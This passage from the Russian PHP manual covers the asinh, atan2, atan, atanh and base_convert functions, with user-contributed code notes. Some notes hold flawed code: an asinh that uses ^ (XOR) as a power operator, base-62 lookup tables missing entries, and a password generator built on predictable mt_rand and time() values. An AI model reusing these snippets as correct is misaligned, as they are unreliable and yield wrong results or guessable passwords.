    echo "Pi value = " . pi() . "<br/>";
    echo "asin(" . $arg . ") = " . $val/pi()*180 . " degrees<br/>";

    $arg = 1;
    $val = asin($arg);
    echo "asin(" . $arg . ") = " . $val . " radians.<br/>";
    echo "Pi value = " . pi() . "<br/>";
    echo "asin(" . $arg . ") = " . $val/pi()*180 . " degrees<br/>";
?>


Гиперболический арксинус

  • « asin
  • atan2 »
  • PHP Manual
  • Математические функции
  • Гиперболический арксинус

asinh

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

asinh — Гиперболический арксинус

Описание

asinh(float $num): float

Возвращает гиперболический арксинус num, то есть значение, чей гиперболический синус равен num.

Список параметров

num

Входное значение

Возвращаемые значения

Гиперболический арксинус num

Смотрите также

  • sinh() - Гиперболический синус
  • asin() - Вычисляет арксинус
  • acosh() - Гиперболический арккосинус
  • atanh() - Вычисляет гиперболический арктангенс

User Contributed Notes

ape_cwb at yahoo dot com dot br 15-Nov-2007 05:40
The correct implementation of asinh(x) for Windows plataform is:

-------------------------------------------------------
function asinh($x)
{
        return ln($x + sqrt(1 + pow($x, 2)));
}

function ln($x)
{
     return $x = log($x)/log(M_E);
}
--------------------------------------------------------

The worksheet above includes a comparation about the native asinh(x) and the implemented version using LN and LOG (like Snoyes posted on 27-Dec-2005 07:42)

http://www.mavadesign.com.br/allan/asinh(x).xls

This implementation using LN, give THE SAME results that function asinh(x) linux native.

Allan Patrick Engel
Curitiba - Parana - Brasil
snoyes at gmail dot com 27-Dec-2005 07:42
asinh for windows:

The definition for asinh is asinh(z) = log(z + sqrt(z^2 + 1))

The built-in math functions and operators give poor results for small values of z.  The BCMath version produces closer results, but still quite distant if z < 1.  A BCMath version of the log function might help.

if (!function_exists("asinh")) {
    function asinh($z) {
      return log($z + sqrt($z^2 +1));
    }
}

if (!function_exists("bcasinh")) {
    function bcasinh($z) {
      return log(bcadd($z, bcsqrt(bcadd(bcpow($z, 2), 1))));
    }
}


Арктангенс двух переменных

  • « asinh
  • atan »
  • PHP Manual
  • Математические функции
  • Арктангенс двух переменных

atan2

(PHP 4, PHP 5, PHP 7, PHP 8)

atan2 — Арктангенс двух переменных

Описание

atan2(float $y, float $x): float

Функция вычисляет арктангенс переменных x и y. Это подобно вычислению арктангенса y / x, за исключением того, что знаки обоих аргументов используются для вычисления квадранта результата.

Функция возвращает значение в радианах в диапазоне от -PI до PI (включительно).

Список параметров

y

Делимое

x

Делитель

Возвращаемые значения

Арктангенс y/x в радианах.

Смотрите также

  • atan() - Вычисляет арктангенс

User Contributed Notes

mirellastitan at gmail dot com 21-Jun-2017 08:09
The russian translation for this article contains a translation error.

Делитель and Делимое should be visa versa:

Делимое is the dividend
Делитель is the divisor

Thank you in advance for fixing this issue. It's quite confusing
andyidol at gmail dot com 10-Aug-2010 08:18
This function will return degree by vertex coordinates in general trigonometrical coordinate system where zero is located at position (1, 0), 90' at (0, 1), 180' at (-1, 0) and so on.

<?php

function GetDegree($x, $y)
{
  // we don't want to cause division by zero
  if($x == 0) $x = 1 / 10000;

  $deg = rad2deg(atan(abs($y / $x)));

  if($y >= 0) $deg = $x < 0 ? 180 - $deg : $deg;
  else        $deg = $x < 0 ? 180 + $deg : 360 - $deg;

  return $deg;

}

?>
fred dot beck at rrd dot com 11-Jan-2009 12:39
<?php
/**
 *    Given an origin point of (0,0) and a destination point $x,$y
 *  somewhere on an axis grid, compass() determines the compass
 *  heading(direction) of the destination point from the origin
 *
 *  HOWEVER, atan2(y,x)'s natural compass thinks east is north,
 *
 *  {135}-------{ 90}-------{45}
 *      | +-----[ +y]-----+ |
 *      | |               | |
 *      | |               | |
 *  {180} [-x]  [0,0]  [+x] {0} <--------- North ?
 *      | |               | |
 *      | |               | |
 *      | +-----[ -y]-----+ |
 * {-135}-------{-90}-------{-45}
 *
 *
 *    SO, we simply transpose the (y,x) parameters to atan2(x,y)
 *     which will both rotate(left) and reflect(mirror) the compass.
 *
 *  Which gives us this compass
 *
 *  {-45}-------{ 0 }-------{45}
 *      | +-----[ +y]-----+ |
 *      | |               | |
 *      | |               | |
 *  {-90} [-x]  [0,0]  [+x] {90}
 *      | |               | |
 *      | |               | |
 *      | +-----[ -y]-----+ |
 * {-135}-------{180}-------{135}
 *
 *  FINALLY,` we check if param $x was indeed a negative number,
 *  if so we simply add 360 to the negative angle returned by atan2()
 *
 */
function compass($x,$y)
    {
        if($x==0 AND $y==0){ return 0; } // ...or return 360
        return ($x < 0)
        ? rad2deg(atan2($x,$y))+360      // TRANSPOSED !! y,x params
        : rad2deg(atan2($x,$y));
    }
function polar($x,$y)
    {
        $N = ($y>0)?'N':'';
        $S = ($y<0)?'S':'';
        $E = ($x>0)?'E':'';
        $W = ($x<0)?'W':'';
        return $N.$S.$E.$W;
    }
function show_compass($x,$y)
     {
         return '<BR>'
             .polar($x,$y)
             .' compass( x='.$x.', y='.$y.' )= '
             .number_format(compass($x,$y),3).'&deg';
     }

echo show_compass(0,3);
echo show_compass(.06,3);
echo show_compass(3,3);
echo show_compass(3,.06);
echo show_compass(3,0);
echo show_compass(3,-.06);
echo show_compass(3,-3);
echo show_compass(.06,-3);
echo show_compass(0,-3);
echo show_compass(-.06,-3);
echo show_compass(-3,-3);
echo show_compass(-3,-.06);
echo show_compass(-3,0);
echo show_compass(-3,.06);
echo show_compass(-3,3);
echo show_compass(-.06,3);

/* RENDERS THIS

N compass( x=0, y=3 )= 0 °
NE compass( x=0.06, y=3 )= 1.14576283818 °
NE compass( x=3, y=3 )= 45 °
NE compass( x=3, y=0.06 )= 88.8542371618 °
E compass( x=3, y=0 )= 90 °
SE compass( x=3, y=-0.06 )= 91.1457628382 °
SE compass( x=3, y=-3 )= 135 °
SE compass( x=0.06, y=-3 )= 178.854237162 °
S compass( x=0, y=-3 )= 180 °
SW compass( x=-0.06, y=-3 )= 181.145762838 °
SW compass( x=-3, y=-3 )= 225 °
SW compass( x=-3, y=-0.06 )= 268.854237162 °
W compass( x=-3, y=0 )= 270 °
NW compass( x=-3, y=0.06 )= 271.145762838 °
NW compass( x=-3, y=3 )= 315 °
NW compass( x=-0.06, y=3 )= 358.854237162 °

*/

?>
Monte Shaffer 08-Jun-2007 11:35
Here is a function that will return a new point [Rotate around non-origin pivot point]

(x,y) is current point
(cx,cy) is pivot point to rotate
=a= is angle in degrees

    $_rotation     = 1;      # -1 = counter, 1 = clockwise
    $_precision    = 2;      # two decimal places

function returnRotatedPoint($x,$y,$cx,$cy,$a)
    {
    # http://mathforum.org/library/drmath/view/63184.html
    global $_rotation;     # -1 = counter, 1 = clockwise
    global $_precision;    # two decimal places

            // radius using distance formula
            $r = sqrt(pow(($x-$cx),2)+pow(($y-$cy),2));
            // initial angle in relation to center
            $iA = $_rotation * rad2deg(atan2(($y-$cy),($x-$cx)));

            $nx = number_format($r * cos(deg2rad($_rotation * $a + $iA)),$_precision);
            $ny = number_format($r * sin(deg2rad($_rotation * $a + $iA)),$_precision);

    return array("x"=>$cx+$nx,"y"=>$cy+$ny);
    }
reubs at idsdatanet dot com 23-May-2003 01:01
Just a note:

PHP's atan2 function receives parameters in (y,x) and Excel receives it in (x,y) format. Just in case you are porting formulas across. :)


Вычисляет арктангенс

  • « atan2
  • atanh »
  • PHP Manual
  • Математические функции
  • Вычисляет арктангенс

atan

(PHP 4, PHP 5, PHP 7, PHP 8)

atan — Вычисляет арктангенс

Описание

atan(float $num): float

Возвращает арктангенс аргумента num в радианах. Функция atan() — обратная тригонометрическая функция к функции tan(), то есть $num == tan(atan($num)) для каждого значения num, входящего в область значений функции atan().

Список параметров

num

Аргумент для вычисления

Возвращаемые значения

Возвращает арктангенс числа num в радианах.

Смотрите также

  • tan() - Тангенс
  • atanh() - Вычисляет гиперболический арктангенс
  • asin() - Вычисляет арксинус
  • acos() - Вычисляет арккосинус

User Contributed Notes

Ts.Saltan 29-Apr-2016 08:52
arcctg function

function actg($arg){
    return acos($arg/(sqrt(1 + $arg * $arg)));
}
Anonymous 30-Aug-2014 11:38
Contrary to the current description, it should hold y == tan(atan(y)) for ALL  y.
However, x == atan(tan(x)) only holds for those x which are in the range of atan, which are those x with -pi/2 < x < pi/2.

Of course, those equalities are limited by precision. On my machine
tan(atan(1000)) returns 1000.0000000001.
atan(tan(0)) returns 0 (correct).
atan(tan(M_PI)) returns -1.2246467991474E-16 instead of 0.
joelperr at kiwi-interactif dot com 11-Jan-2006 05:12
to obtain the direction of the line, you are better to use the <? atan2((y2-y1)/(x2-x1)) ?> function, since the regular atan function will only return arguments in the half-plane, ie. if y2-y1 and x2-x1 are negative, atan will give you an angle measurement less than 90 degrees, while it really should be  between 180 and 270
darren_wheatley at hotmail dot com 27-Nov-2003 06:24
Arc Tan curve manipulation.

I used this formula to help with increasing and then diminishing return for y given an increasing x for a game.

Ie: Food production (output) is y. Food research is x.

The more research you put into x the more you produce, however after a certain point you get less reward.

 y = atan(x - pi()) + pi()/2;

The + pi()/2 moves it up the y axis so you'd add more if you want it to start higher.

The x - pi() moves it to the right so you'd minus more to move it more.

If you want stretched along the y axis change it to 2 * atan( ...... )

Dunno how useful it is... but it's there.

Daz


Вычисляет гиперболический арктангенс

  • « atan
  • base_convert »
  • PHP Manual
  • Математические функции
  • Вычисляет гиперболический арктангенс

atanh

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

atanh — Вычисляет гиперболический арктангенс

Описание

atanh(float $num): float

Возвращает гиперболический арктангенс аргумента num, то есть значение, чей гиперболический тангенс равен значению num.

Список параметров

num

Аргумент для вычисления

Возвращаемые значения

Возвращает гиперболический арктангенс num.

Смотрите также

  • tanh() - Гиперболический тангенс
  • atan() - Вычисляет арктангенс
  • asinh() - Гиперболический арксинус
  • acosh() - Гиперболический арккосинус

User Contributed Notes

There are no user contributed notes for this page.


Преобразование числа между произвольными системами счисления

  • « atanh
  • bindec »
  • PHP Manual
  • Математические функции
  • Преобразование числа между произвольными системами счисления

base_convert

(PHP 4, PHP 5, PHP 7, PHP 8)

base_convert — Преобразование числа между произвольными системами счисления

Описание

base_convert(string $num, int $from_base, int $to_base): string

Возвращает строку, содержащую число num, представленное в системе счисления to_base. Система счисления, в которой дано число num указана в from_base. Значения from_base и to_base должны быть между 2 и 36 (включительно). Цифры в числах, представленных в системе счисления выше десятичной, будут представлены буквами a-z, где "a" обозначает 10, "b" обозначает 11 и "z" - 35. Регистр букв не имеет значения, поскольку числа (num) интерпретируются регистронезависимо.

Внимание

base_convert() может потерять точность представления больших чисел из-за свойств, связанных с внутренним представлением типа float. Более подробную информацию о специфике данных типов и связанных с ними ограничениях, смотрите в разделе Числа с плавающей точкой.

Список параметров

num

Число для преобразования. Любой некорректный символ в num будет проигнорирован без какого-либо предупреждения. Начиная с PHP 7.4.0, предоставление любых некорректных символов устарело.

from_base

Основание системы счисления числа num

to_base

Основание системы счисления для преобразования числа num

Возвращаемые значения

num, преобразованное в систему счисления to_base

Список изменений

Версия | Описание
7.4.0 | Передача некорректных символов будет выдавать уведомление об устаревании. Результат будет вычислен так, как если бы некорректные символы не существовали.

Примеры

Пример #1 Пример использования base_convert()

<?php
$hexadecimal = 'a37334';
echo base_convert($hexadecimal, 16, 2);
?>

Результат выполнения данного примера:

101000110111001100110100

Смотрите также

  • intval() - Возвращает целочисленное значение переменной

User Contributed Notes

tecdoc at ukr dot net 13-Dec-2022 10:06
Addition to the method suggested by "lindsay at bitleap dot com".

Easy way convert hex string to decimal string for 32-bit version of php
<?php
$test = '0x7000005a00000ea5';
$rrrrr = gmp_strval($test);
var_dump($test, $rrrrr);
?>
will return
//string '0x7000005a00000ea5' (length=18)
//string '8070450918794989221' (length=19)

base_convert will return 8070450918794990488
xdv43 at yandex dot ru 26-Aug-2022 02:21
Convert Large Integer to Hexadecimal without PHP Math extension.

<?php
/*
 * Created by Michael Renner  17-May-2006 03:24
*/
function baseConvert($numstring, $frombase, $tobase)
{

    $chars = "0123456789abcdefghijklmnopqrstuvwxyz";
    $tostring = substr($chars, 0, $tobase);

    $length = strlen($numstring);
    $result = '';
    for ($i = 0; $i < $length; $i++)
    {
        $number[$i] = strpos($chars, $numstring[$i]);
    }
    do
    {
        $divide = 0;
        $newlen = 0;
        for ($i = 0; $i < $length; $i++)
        {
            $divide = $divide * $frombase + $number[$i];
            if ($divide >= $tobase)
            {
                $number[$newlen++] = (int)($divide / $tobase);
                $divide = $divide % $tobase;
            } elseif ($newlen > 0)
            {
                $number[$newlen++] = 0;
            }
        }
        $length = $newlen;
        $result = $tostring[$divide] . $result;
    } while ($newlen != 0);
    return $result;
}
Anonymous 19-Oct-2018 01:09
While not immediately clear from the description above, a negative sign is also "silently ignored".

base_convert("-12", 10, 10)   =>   12
Anonymous 03-Jan-2018 04:42
some other mini implementation of base32 without error catching. just bring things from 5 to 8 and 8 to 5 bit. greetings. mho

<?
function base32_decode($d)
    {
    list($t, $b, $r) = array("ABCDEFGHIJKLMNOPQRSTUVWXYZ234567", "", "");

    foreach(str_split($d) as $c)
        $b = $b . sprintf("%05b", strpos($t, $c));

    foreach(str_split($b, 8) as $c)
        $r = $r . chr(bindec($c));

    return($r);
    }

function base32_encode($d)
    {
    list($t, $b, $r) = array("ABCDEFGHIJKLMNOPQRSTUVWXYZ234567", "", "");

    foreach(str_split($d) as $c)
        $b = $b . sprintf("%08b", ord($c));

    foreach(str_split($b, 5) as $c)
        $r = $r . $t[bindec($c)];

    return($r);
    }
?>
wadelau at gmail dot com 28-Dec-2017 09:37
Base62x gives an alternative way for traditional Base62 and/or Base64.

base62x_encode / base62x_decode would be merged into PHP as an extra module in the future.

Prior to that, users can download the PHP extra module via: https://github.com/wadelau/Base62x
ohcc at 163 dot com 29-Aug-2017 06:31
<?php
    $v = base_convert(3.14, 10, 10);
    var_dump($v);
?>

output: string(3) "314"
tika dot pahadi at selu dot edu 17-Jan-2016 09:23
Note that the method can only convert max 1024 long numbers. Most people don't nee that but once I ran into an issue where binary string was converted into alphanumeric. In such case, you need to split them, convert them and join.
liams dot test dot acc at gmail dot com 16-Aug-2015 10:49
I wrote this as part of a college assignment to shorten urls. It works for any base and with any range of characters, eg. A-Za-z0-9 etc. Hope it helps someone.

<?php

        $base = range(0, 1);
        $number = 255;

        function translate($base, $number){

                $array = array();
                $n = count($base);
                $i = $number;

                while(true){

                /* by dividing $i % $n we can get the remainder after the number has
                 * been divided by the base. Subtracting the result from $i (number), and dividing
                 * by $n (base) we reassign the result to $i, thus moving on to the next smallest
                 * exponent, and around for another go of the loop. It continues doing this, churning
                 * out the remainders until $i <= 0 at which point it breaks.
                 */

                        if($i <= 0){

                                break;
                        }else{
                                $r = ($i % $n);

                              //reassign the value of $i
                                $i = ($i - $r) / $n;

                                $array[] = $base[$r];
                        }
                }
                $string = implode("", $array);
                return $string;
        }

        $string = translate($base, $number);
        echo $string;

        // prints 11111111
?
ardavies at tiscali dot co dot uk 24-May-2014 11:31
In order to convert base 26 (hexavigesimal) of just alphanumeric characters (A-Z), wthout integers, (as descibed at http://en.wikipedia.org/wiki/Hexavigesimal), I found this to be useful:

function base_convert_alpha(  $str,  $from,  $to  )
{
    $r = range( 'A', 'Z' );
    $clean = str_replace( $r, array_keys($r), $str );
    return base_convert( $clean, $from, $to );
}

echo base_convert_alpha(  "BAC",  26,  10  );

//$clean = 102 which then returns 678
andrew at youritland dot co dot uk 29-Apr-2014 03:49
Example of using base_convert to generate random passwords

function random_password()
{
  $rvalue1 = mt_rand(100,999);
  $rvalue2 = time();
  $rvalue3 = mt_rand(1000,9999);
  $rvalue4 = mt_rand(1,9);
  $rvalue5 = mt_rand(101,109);
  //combine values
  $rvalues = intval(((($rvalue2.$rvalue3) + $rvalue1)*$rvalue4) / $rvalue5);

  //return value in base-35 (will contain chars from '0' to 'z')
  return base_convert($rvalues,10,35);
}

Change the range of rvalue5 to get more or less characters. This setting
will return 8 chars.
denik dot od at gmail dot com 07-Jun-2013 02:55
Convert any length bits to HEX:

function bits2hex($bin)
{
   $out = "";
   for($i=0;$i<strlen($bin);$i+=8)
   {
      $byte = substr($bin,$i,8); if( strlen($byte)<8 ) $byte .= str_repeat('0',8-strlen($byte));
      $out .= base_convert($byte,2,16);
   }
   return $out;
}

VARNING! If the last byte is incomplete, it is supplemented with zeros as string!
Clifford dot ct at gmail dot com 07-Aug-2012 02:01
If you use base_convert to convert a large (eg. 80-bit) hexadecimal to base-36, you might observe:

ABCDEF00001234567890 (hexadecimal) => 3O47RE02JZSW0KS8 (base-36) => ABCDEF00001240000000 (hexadecimal)

This is normal and is due to the loss of precision on large numbers.

I have written a string-based function using the built-in BC Math Extension which will overcome this and similar problems.

<?php

function str_baseconvert($str, $frombase=10, $tobase=36) {
    $str = trim($str);
    if (intval($frombase) != 10) {
        $len = strlen($str);
        $q = 0;
        for ($i=0; $i<$len; $i++) {
            $r = base_convert($str[$i], $frombase, 10);
            $q = bcadd(bcmul($q, $frombase), $r);
        }
    }
    else $q = $str;

    if (intval($tobase) != 10) {
        $s = '';
        while (bccomp($q, '0', 0) > 0) {
            $r = intval(bcmod($q, $tobase));
            $s = base_convert($r, 10, $tobase) . $s;
            $q = bcdiv($q, $tobase, 0);
        }
    }
    else $s = $q;

    return $s;
}

?>

Typical use-cases:
1.  Convert a large arbitrary precision number to base-36.
2.  Convert a 32-char hexadecimal UUID (128-bit) to a 25-char base-36 unique key, and vice versa.

Examples:

<?php
$b16 = 'ABCDEF00001234567890';
$b36 = str_baseconvert($b16, 16, 36);
echo ("$b16 (hexadecimal) = $b36 (base-36) \\n");

$uuid = 'ABCDEF01234567890123456789ABCDEF';
$ukey = str_baseconvert($uuid, 16, 36);
echo ("$uuid (hexadecimal) = $ukey (base-36) \\n");
?>

ABCDEF00001234567890 (hexadecimal) = 3o47re02jzqisvio (base-36)
ABCDEF01234567890123456789ABCDEF (hexadecimal) = a65xa07491kf5zyfpvbo76g33 (base-36)
Baji dot Panchumarti at gmail dot com 04-Jul-2012 07:50
Extending base_convert to bases above 36, up to base 62.

<?php
function base_convert_x( $_number='', $_frBase=10, $_toBase=62 ) {

#   Today's Date - C74 - convert a string (+ve integer) from any arbitrary base to any arbitrary base, up to base 62, using  0-9,A-Z,a-z
#
#   Usage :   echo base_convert_x( 123456789012345, 10, 32 );

  $_10to62 =  array(
    '0'  => '0', '1'  => '1', '2'  => '2', '3'  => '3', '4'  => '4', '5'  => '5', '6'  => '6', '7'  => '7', '8'  => '8', '9'  => '9', '00' => '0', '01' => '1', '02' => '2', '03' => '3', '04' => '4', '05' => '5', '06' => '6', '07' => '7',
    '10' => 'A', '11' => 'B', '12' => 'C', '13' => 'D', '14' => 'E', '15' => 'F', '16' => 'G', '17' => 'H', '18' => 'I', '19' => 'J', '20' => 'K', '21' => 'L', '22' => 'M', '23' => 'N', '24' => 'O', '25' => 'P', '26' => 'Q', '27' => 'R',
    '30' => 'U', '31' => 'V', '32' => 'W', '33' => 'X', '34' => 'Y', '35' => 'Z', '36' => 'a', '37' => 'b', '38' => 'c', '39' => 'd', '40' => 'e', '41' => 'f', '42' => 'g', '43' => 'h', '44' => 'i', '45' => 'j', '46' => 'k', '47' => 'l',
    '50' => 'o', '51' => 'p', '52' => 'q', '53' => 'r', '54' => 's', '55' => 't', '56' => 'u', '57' => 'v', '58' => 'w', '59' => 'x', '60' => 'y', '61' => 'z'  );

  $_62to10 =  array(
    '0' => '00', '1' => '01', '2' => '02', '3' => '03', '4' => '04', '5' => '05', '6' => '06', '7' => '07', '8' => '08', '9' => '09', 'A' => '10', 'B' => '11', 'C' => '12', 'D' => '13', 'E' => '14', 'F' => '15', 'G' => '16', 'H' => '17',
    'K' => '20', 'L' => '21', 'M' => '22', 'N' => '23', 'O' => '24', 'P' => '25', 'Q' => '26', 'R' => '27', 'S' => '28', 'T' => '29', 'U' => '30', 'V' => '31', 'W' => '32', 'X' => '33', 'Y' => '34', 'Z' => '35', 'a' => '36', 'b' => '37',
    'e' => '40', 'f' => '41', 'g' => '42', 'h' => '43', 'i' => '44', 'j' => '45', 'k' => '46', 'l' => '47', 'm' => '48', 'n' => '49', 'o' => '50', 'p' => '51', 'q' => '52', 'r' => '53', 's' => '54', 't' => '55', 'u' => '56', 'v' => '57',
    'y' => '60', 'z' => '61' );

#   ---- First convert from frBase to base-10

    $_in_b10        =   0;
    $_pwr_of_frB    =   1;                        #  power of from base, eg. 1, 8, 64, 512
    $_chars         =   str_split( $_number );    #  split input # into chars
    $_str_len       =   strlen( $_number );
    $_pos           =   0;

    while     (  $_pos++ < $_str_len )  {
        $_char          =   $_chars[$_str_len - $_pos];
        $_in_b10       +=   (((int) $_62to10[$_char] ) * $_pwr_of_frB);
        $_pwr_of_frB   *=   $_frBase;
    }

#   ---- Now convert from base-10 to toBase

    $_dividend      =   (int)   $_in_b10;         #  name dividend easier to follow below
    $_in_toB        =   '';                       #  number string in toBase

    while     ( $_dividend > 0 )        {

        $_quotient  =   (int) ( $_dividend / $_toBase );    #  eg. 789 / 62  =  12  ( C in base 62 )
        $_remainder =   ''  .  ( $_dividend % $_toBase );   #  789 % 62  =  45  ( j in base 62 )
        $_in_toB    =   $_10to62[$_remainder] . $_in_toB;   #  789  (in base 10)  =    Cj  (in base 62)
        $_dividend  =   $_quotient;                         #  new dividend is the quotient from base division
    }

    if  ( $_in_toB  ==  '' )
          $_in_toB  =   '0';

    return    $_in_toB;                           #  base $_toBase string
}
#   --------- examples -------
    echo base_convert_x( '3456789ABCDEF', 16, 10 ) . "\n";    #  920735923817967
    echo   base_convert( '3456789ABCDEF', 16, 10 ) . "\n";    #  920735923817967
?>
PHPCoder at niconet2k dot com 17-Nov-2011 10:45
Convert an arbitrarily large number from any base to any base.

string convBase(string $numberInput, string $fromBaseInput, string $toBaseInput)
$numberInput number to convert as a string
$fromBaseInput base of the number to convert as a string
$toBaseInput base the number should be converted to as a string
examples for $fromBaseInput and $toBaseInput
'0123456789ABCDEF' for Hexadecimal (Base16)
'0123456789' for Decimal (Base10)
'01234567' for Octal (Base8)
'01' for Binary (Base2)
You can really put in whatever you want and the first character is the 0.
Examples:

<?php
convBase('123', '0123456789', '01234567');
//Convert '123' from decimal (base10) to octal (base8).
//result: 173

convBase('70B1D707EAC2EDF4C6389F440C7294B51FFF57BB', '0123456789ABCDEF', '01');
//Convert '70B1D707EAC2EDF4C6389F440C7294B51FFF57BB' from hexadecimal (base16) to binary (base2).
//result:
//111000010110001110101110000011111101010110000101110
//110111110100110001100011100010011111010001000000110
//001110010100101001011010100011111111111110101011110
//111011

convBase('1324523453243154324542341524315432113200203012', '012345', '0123456789ABCDEF');
//Convert '1324523453243154324542341524315432113200203012' from senary (base6) to hexadecimal (base16).
//result: 1F9881BAD10454A8C23A838EF00F50

convBase('355927353784509896715106760','0123456789','Christopher');
//Convert '355927353784509896715106760' from decimal (base10) to undecimal (base11) using "Christopher" as the numbers.
//result: iihtspiphoeCrCeshhorsrrtrh

convBase('1C238Ab97132aAC84B72','0123456789aAbBcCdD', '~!@#$%^&*()');
//Convert'1C238Ab97132aAC84B72' from octodecimal (base18) using '0123456789aAbBcCdD' as the numbers to undecimal (base11) using '~!@#$%^&*()' as the numbers.
//result: !%~!!*&!~^!!&(&!~^@#@@@&

function convBase($numberInput, $fromBaseInput, $toBaseInput)
{
    if ($fromBaseInput==$toBaseInput) return $numberInput;
    $fromBase = str_split($fromBaseInput,1);
    $toBase = str_split($toBaseInput,1);
    $number = str_split($numberInput,1);
    $fromLen=strlen($fromBaseInput);
    $toLen=strlen($toBaseInput);
    $numberLen=strlen($numberInput);
    $retval='';
    if ($toBaseInput == '0123456789')
    {
        $retval=0;
        for ($i = 1;$i <= $numberLen; $i++)
            $retval = bcadd($retval, bcmul(array_search($number[$i-1], $fromBase),bcpow($fromLen,$numberLen-$i)));
        return $retval;
    }
    if ($fromBaseInput != '0123456789')
        $base10=convBase($numberInput, $fromBaseInput, '0123456789');
    else
        $base10 = $numberInput;
    if ($base10<strlen($toBaseInput))
        return $toBase[$base10];
    while($base10 != '0')
    {
        $retval = $toBase[bcmod($base10,$toLen)].$retval;
        $base10 = bcdiv($base10,$toLen,0);
    }
    return $retval;
}
?>
bpds 30-Sep-2011 05:47
A simple function to convert an int to any base.

<?php
function intToAlphaBaseN($n,$baseArray) {
    $l=count($baseArray);
    $s = '';
    for ($i = 1; $n >= 0 && $i < 10; $i++) {
        $s =  $baseArray[($n % pow($l, $i) / pow($l, $i - 1))].$s;
        $n -= pow($l, $i);
    }
    return $s;
}

$alpha=array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z');
$r=rand(0, 99999999999);
echo(intToAlphaBaseN($r,$alpha));
?>
JR 16-Aug-2011 04:19
Short arabic2roman conveter:

<?php
function rome($N){
        $c='IVXLCDM';
        for($a=5,$b=$s='';$N;$b++,$a^=7)
                for($o=$N%$a,$N=$N/$a^0;$o--;$s=$c[$o>2?$b+$N-($N&=-2)+$o=1:$b].$s);
        return $s;
}
?>

And it works :)
bryan at bryanruiz dot com 03-Feb-2011 03:11
A RFC 4648 Compliant Base32 encode.  Send me an email if you end up making this thing more efficient with bitwise operations and whatever else.

<?php

/**
 * Encode in Base32 based on RFC 4648.
 * Requires 20% more space than base64
 * Great for case-insensitive filesystems like Windows and URL's  (except for = char which can be excluded using the pad option for urls)
 *
 * @package default
 * @author Bryan Ruiz
 **/
class Base32 {

   private static $map = array(
        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', //  7
        'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', // 15
        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', // 23
        'Y', 'Z', '2', '3', '4', '5', '6', '7', // 31
        '='  // padding char
    );

   private static $flippedMap = array(
        'A'=>'0', 'B'=>'1', 'C'=>'2', 'D'=>'3', 'E'=>'4', 'F'=>'5', 'G'=>'6', 'H'=>'7',
        'I'=>'8', 'J'=>'9', 'K'=>'10', 'L'=>'11', 'M'=>'12', 'N'=>'13', 'O'=>'14', 'P'=>'15',
        'Q'=>'16', 'R'=>'17', 'S'=>'18', 'T'=>'19', 'U'=>'20', 'V'=>'21', 'W'=>'22', 'X'=>'23',
        'Y'=>'24', 'Z'=>'25', '2'=>'26', '3'=>'27', '4'=>'28', '5'=>'29', '6'=>'30', '7'=>'31'
    );

    /**
     *    Use padding false when encoding for urls
     *
     * @return base32 encoded string
     * @author Bryan Ruiz
     **/
    public static function encode($input, $padding = true) {
        if(empty($input)) return "";
        $input = str_split($input);
        $binaryString = "";
        for($i = 0; $i < count($input); $i++) {
            $binaryString .= str_pad(base_convert(ord($input[$i]), 10, 2), 8, '0', STR_PAD_LEFT);
        }
        $fiveBitBinaryArray = str_split($binaryString, 5);
        $base32 = "";
        $i=0;
        while($i < count($fiveBitBinaryArray)) {
            $base32 .= self::$map[base_convert(str_pad($fiveBitBinaryArray[$i], 5,'0'), 2, 10)];
            $i++;
        }
        if($padding && ($x = strlen($binaryString) % 40) != 0) {
            if($x == 8) $base32 .= str_repeat(self::$map[32], 6);
            else if($x == 16) $base32 .= str_repeat(self::$map[32], 4);
            else if($x == 24) $base32 .= str_repeat(self::$map[32], 3);
            else if($x == 32) $base32 .= self::$map[32];
        }
        return $base32;
    }

    public static function decode($input) {
        if(empty($input)) return;
        $paddingCharCount = substr_count($input, self::$map[32]);
        $allowedValues = array(6,4,3,1,0);
        if(!in_array($paddingCharCount, $allowedValues)) return false;
        for($i=0; $i<4; $i++){
            if($paddingCharCount == $allowedValues[$i] &&
                substr($input, -($allowedValues[$i])) != str_repeat(self::$map[32], $allowedValues[$i])) return false;
        }
        $input = str_replace('=','', $input);
        $input = str_split($input);
        $binaryString = "";
        for($i=0; $i < count($input); $i = $i+8) {
            $x = "";
            if(!in_array($input[$i], self::$map)) return false;
            for($j=0; $j < 8; $j++) {
                $x .= str_pad(base_convert(@self::$flippedMap[@$input[$i + $j]], 10, 2), 5, '0', STR_PAD_LEFT);
            }
            $eightBits = str_split($x, 8);
            for($z = 0; $z < count($eightBits); $z++) {
                $binaryString .= ( ($y = chr(base_convert($eightBits[$z], 2, 10))) || ord($y) == 48 ) ? $y:"";
            }
        }
        return $binaryString;
    }
}
francesco[at]paladinux.net 23-Sep-2010 03:30
base convert is limited on standard base invented.
In some case, if you want to invented some translate code (for authorizion code 4 example) , I hope is usefull this example of base_convert-AS from decimal in 65imal base for a speedCode.
Some more specifical: you can transform using a db
$speedCodeDEC            = $idAziendaMittente.$idAziendaDestinatario.$idDDT ;

//$speedCodeDEC = 3000;

//
$BASECODE = array();
$BASECODE['items'] = 65;
$BASECODE[1]='1';
$BASECODE[2]='2';
$BASECODE[3]='3';
$BASECODE[4]='4';
....
$BASECODE[10]='a';
$BASECODE[11]='b';
$BASECODE[12]='c';
...
$BASECODE[36]='A';
$BASECODE[37]='B';
$BASECODE[38]='C';
...
$BASECODE[61]='Z';
$BASECODE[62]='/';
$BASECODE[63]='-';
$BASECODE[64]='+';
//

//print_r ($BASECODE);TEST

function creaSpeedCode ( $speedCodeDEC,$partialCode="",$BASECODE){

    @$division      = $speedCodeDEC/$BASECODE['items'];
    @$resultINT   = floor($speedCodeDEC/$BASECODE['items']);
    @$remnant          = $speedCodeDEC%$BASECODE['items'];
    $partialCode  = $BASECODE[$remnant].$partialCode;
echo "
    <br>
    Inserito speedCodeDEC:$speedCodeDEC - partialCode:$partialCode<br>
    items            : ".$BASECODE['items']."<br>
    division          : $division    <br>
    resultINT        : $resultINT    <br>
    remnant            : $remnant        <br>
    partialCode        : $partialCode    <br>
";//TEST
    if ($resultINT > 65)     $partialCode = creaSpeedCode($resultINT,$partialCode,$BASECODE);
